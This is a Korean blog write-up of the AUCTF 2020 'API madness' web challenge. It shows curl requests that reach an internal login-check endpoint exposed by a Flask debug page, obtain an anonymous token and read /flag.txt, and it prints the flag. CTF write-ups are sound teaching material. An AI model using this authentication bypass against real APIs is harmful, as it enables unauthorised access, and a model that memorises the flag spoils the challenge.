Jaeseo's Information Security Story

AUCTF 2020 - WEB - API madness WriteUP 본문

Write UP

AUCTF 2020 - WEB - API madness WriteUP

Jaeseokim 2020. 4. 11. 16:22

접근을 하면 아래의 형태로 API 응답이 오는 것을 확인 할 수 있다.

{
    NOTE: "For API help visit our help page /static/help",
    status: "OK"
}

Endpoints

/api/login - POST

/api/ftp/dir - POST

/api/ftp/get_file - POST

Params

/api/login - username, password

/ftp/dir - dir

/ftp/get_file - file

/api/login에 접근해서 username과 password를 JSON 형태로 전송을 해본다.

curl -X POST -H "Content-Type: application/json" -d '{ "username" : "", "password" : "" }' http://192.168.99.102:10001/api/login

이때 오류가 발생해서 flak debug 페이지가 나오게 되는데 받은 데이터를 다시 내부의 /api/login_check 에 전달하여 전송을 하고 응답을 다시 재전송 하는 과정 중에 오류가 발생 한 것을 볼 수 있다.

이번에는 /api/login_check에 요청을 날려본다.

curl -X POST -H "Content-Type: application/json" -d '{ "username" : "anonymous", "password" : "" }' http://192.168.99.102:10001/api/login_check

이때 토큰이 정상적으로 응답이 오게 되는데 username과 password가 다른 값이 들어 가 있을 때에는 token의 값이 null로 오게 된다. 이러한 이유는 id와 password가 없을 경우 anonymous 계정으로 인식하게 되어서 정상적으로 토큰이 발급이 된 것 이다.

이후 이 발급 받은 토큰을 가지고 ftp 서버를 탐방하며 파일에 대해 요청을 하면된다.

curl -X POST -H "Content-Type: application/json" -d '{ "token": "e7ac0786668e0ff0f02b62bd04f45ff636fd82db63b1104601c975dc005f3a67", "dir": "/" }' http://192.168.99.102:10001/api/ftp/dir

curl -X POST -H "Content-Type: application/json" -d '{ "token": "e7ac0786668e0ff0f02b62bd04f45ff636fd82db63b1104601c975dc005f3a67", "file": "/flag.txt" }' http://192.168.99.102:10001/api/ftp/get_file

auctf{0w@sp_6roK3N_@uth}

Comments